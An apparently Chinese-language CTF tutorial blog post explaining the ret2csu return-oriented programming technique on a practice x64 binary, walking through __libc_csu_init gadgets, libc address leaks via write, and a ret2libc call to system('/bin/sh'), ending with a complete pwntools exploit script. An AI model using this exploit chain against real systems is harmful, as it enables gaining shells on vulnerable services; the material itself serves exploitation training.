ret2csu全网超详细讲解!!! 序言学习ret2libc的时候做了很多题目i386的也好x64的也罢感觉都千篇一律吧也没有什么难度找libc的时候很痛苦我单纯嫌他麻烦。。。。直到今天遇到了没有puts​函数的x64程序能够用来泄露地址的函数只有write​本以为思路都一样无非就是write​传入的参数变成了3个呗。万万没想到ROP gadget不出rdx​x64程序的函数传入参数优先使用寄存器顺序依次是rdi​rsi​rdx​rcx​r8​r9​意味着write​函数的第三个参数传不进去。这可如何是好于是在我一番学习大佬的文章之后了解了这种攻击手段就是鲜为人知的起码在此之前我不知道ret2csu。接下来看看攻击链构造的原理以ret2csu题目为例题目准备程序只开了NX保护存在栈溢出漏洞突破口函数__libc_csu_init​分析__libc_csu_init​​__libc_csu_init​ 是glibc中负责 C 运行时初始化的函数在程序入口 _start​ 调用 __libc_csu_init​ 后会调用 main​。它在二进制文件中通常始终存在动态链接的 64 位程序而且其末尾包含一组非常通用的 ROP gadget允许攻击者同时控制 rdi​、rsi​、rdx​ 三个参数并调用任意函数。这一特性使它在缺少 pop rdx​ 等 gadget 时成为 64 位 ROP 利用的“瑞士军刀”。以ret2csu程序为例​__libc_csu_init​可以利用的核心就这两部分我把这两部分拎出来仔细研究。这里做一个定义第一个红色框的部分记作gadget2有效部分“有效部分”原因后面会陈述第二个红色框记作gadget1。//gadget1 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn//gadget2有效部分 .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call ds:(__frame_dummy_init_array_entry - 600840h)[r12rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690//gadget2 .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call ds:(__frame_dummy_init_array_entry - 600840h)[r12rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690 .text:00000000004006A6 .text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init36↑j .text:00000000004006A6 add rsp, 8 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn我们先来看一下这里如何利用在gadget2有效部分中.text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d这三条语句涉及到寄存器edirdi​、rsi​、rdx​。正好可以作为write​函数的三个传参寄存器。这里的edi是64位寄存器的rdi的低32位而这三位寄存器的值分别对应r15​、r14​、r13​。也就是说如果我们能设置r15​、r14​、r13​的值就可以使用write​函数泄露地址。思路很明确那我们能不能设置r15​、r14​、r13​呢答案就在我们的gadget1中.text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15很明显这里可以通过栈上的值分别对r13​、r14​、r15​进行赋值。那么问题又出现了我们能控制栈上的值吗显然栈溢出啊寄存器传参问题解决了如何调用write函数呢继续观察gadget2有效部分.text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call [r12rbx*8] -简化后我们可以控制r12​和rbx​寄存器以达到执行任意函数的目的哎那是不是说也可以执行write​非常好我们缕一缕思路​__libc_csu_init​利用思路我们首先通过gadget1//gadget1 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn设置r13​、r14​、r15​的值retn到gadget2。这里需要注意gadget1涉及到rbx​和rbp​还有r12​应该赋值多少呢rbx​赋值为0rbp​赋值为1而r12​应赋值为存储欲调用函数地址的地址人话函数的got地址这里就是write​的地址。为什么是这样呢答案在gadget2有效部分中//gadget2有效部分 .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call [r12rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690当我们把rdxr13​赋值为0同时rbp​赋值为1有两个作用。第一.text:0000000000400699 call [r12rbx*8]​call的地址只被r12​控制这是好事啊所以我们只要把r12​赋值为write​的got表地址就可以直接调用write​函数了。到这里write​函数的传参和调用问题就基本解决了。第二我们来看gadget2有效部分的后半部分.text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690这明显是一个循环如果rbx ! rbp​就会跳回.text:0000000000400690 mov rdx, r13​这条语句那我们看rbx​我们赋值为0rbp​赋值为1执行.text:000000000040069D add rbx, 1​这条语句之后rbx rbp​了秒啊直接跳出循环了咳咳。不过不能高兴太早跳出循环之后不意味着代码直接retn了还会继续向下执行接下来执行的就是.text:00000000004006A6 add rsp, 8​加上gadget1部分了。//gadget2 .text:0000000000400690 mov rdx, r13 .text:0000000000400693 mov rsi, r14 .text:0000000000400696 mov edi, r15d .text:0000000000400699 call ds:(__frame_dummy_init_array_entry - 600840h)[r12rbx*8] .text:000000000040069D add rbx, 1 .text:00000000004006A1 cmp rbx, rbp .text:00000000004006A4 jnz short loc_400690 .text:00000000004006A6 .text:00000000004006A6 loc_4006A6: ; CODE XREF: __libc_csu_init36↑j //该执行下边这段汇编指令了 .text:00000000004006A6 add rsp, 8 .text:00000000004006AA pop rbx .text:00000000004006AB pop rbp .text:00000000004006AC pop r12 .text:00000000004006AE pop r13 .text:00000000004006B0 pop r14 .text:00000000004006B2 pop r15 .text:00000000004006B4 retn对于我们现在来说gadget1完全是累赘啊我们现在最大的愿望就是赶紧retn到我们的main函数进行下一轮攻击。这些汇编躲是躲不掉了干脆和他爆了。分析这些指令对栈有什么影响.text:00000000004006A6 add rsp, 8​相当于一次pop​加上后边6次pop​一共7次那就是吃掉了我们7*856​个字节的栈空间。那我们构造攻击链时将main​函数的地址放在56个填充字节后就ok了妙啊构造好的栈就是这个样子多打几遍payload多泄露几个函数write_va​、read_va​、__libc_start_main_va​我们就可以锁定libc的版本。到这里函数__libc_csu_init​的使命就结束了。getshell这时候又有同学要问了“锁定libc的版本之后呢怎么getshell啊”“哎接下来就可以直接用ret2libc的手法。”那么这时候又有同学要问了“什么是ret2libc啊”“哎问得好你不会ret2libc你学集贸ret2csu啊滚去学习。”啊当然做事情要有始有终这里也简单说一下通过泄露的write_va​函数或者其他任意一个函数减去libc中的该函数的相对地址这里就是write_rva​就得到了我们的libc的imagebase​用得到的imagebase system_rva​就是实际的system_va​用得到的imagebase binsh_rva​就是实际的binsh_va​。别忘了这是64位程序system​传参使用rdi​寄存器栈对齐需要垫一个ret​我们ROP gadget一下。构造好的栈就是这个样子成功getshell完结撒花最后附上题目和EXP供各位师傅参考。EXPfrom pwn import * context(arch amd64, os linux) p process(./ret2csu) elf ELF(./ret2csu) write_plt elf.plt[write] write_got elf.got[write] __libc_start_main elf.got[__libc_start_main] read_got elf.got[read] function_addr 0x4005e6 gadget1 0x4006aa gadget2 0x400690 # ***************泄露write地址*************** payload1 ba * 0x88 p64(gadget1) p64(0) p64(1) p64(write_got) p64(8) p64(write_got) p64(1) payload1 p64(gadget2) b\x00 * 56 p64(function_addr) p.recvline() p.send(payload1) write_va u64(p.recv(8)) print(write_va: , hex(write_va)) # ***************泄露read地址*************** payload2 ba * 0x88 p64(gadget1) p64(0) p64(1) p64(write_got) p64(8) p64(read_got) p64(1) payload2 p64(gadget2) b\x00 * 56 p64(function_addr) p.recvline() p.send(payload2) read_va u64(p.recv(8)) print(read_va: , hex(read_va)) # ***************泄露__libc_start_main地址*************** payload2 ba * 0x88 p64(gadget1) p64(0) p64(1) p64(write_got) p64(8) p64(__libc_start_main) p64(1) payload2 p64(gadget2) b\x00 * 56 p64(function_addr) p.recvline() p.send(payload2) __libc_start_main_va u64(p.recv(8)) print(__libc_start_main_va: , hex(__libc_start_main_va)) # ***************确定libc版本号计算libc基地址*************** # glibc-aio read 0x71caad706350 write 0x7b8ea01fc3b0 __libc_start_main 0x72f22371fe50 # libc版本2.19-0ubuntu6.15_amd64 libc ELF(./libc-2.19.so) poprdi_ret 0x4006b3 ret 0x400499 libc_base write_va - libc.symbols[write] system_va libc_base libc.symbols[system] binsh_va libc_base next(libc.search(b/bin/sh)) # ***************get shell*************** payload2 ba * 0x88 p64(poprdi_ret) p64(binsh_va) p64(ret) p64(system_va) p.recvline() p.send(payload2) p.interactive()请各位师傅批评指正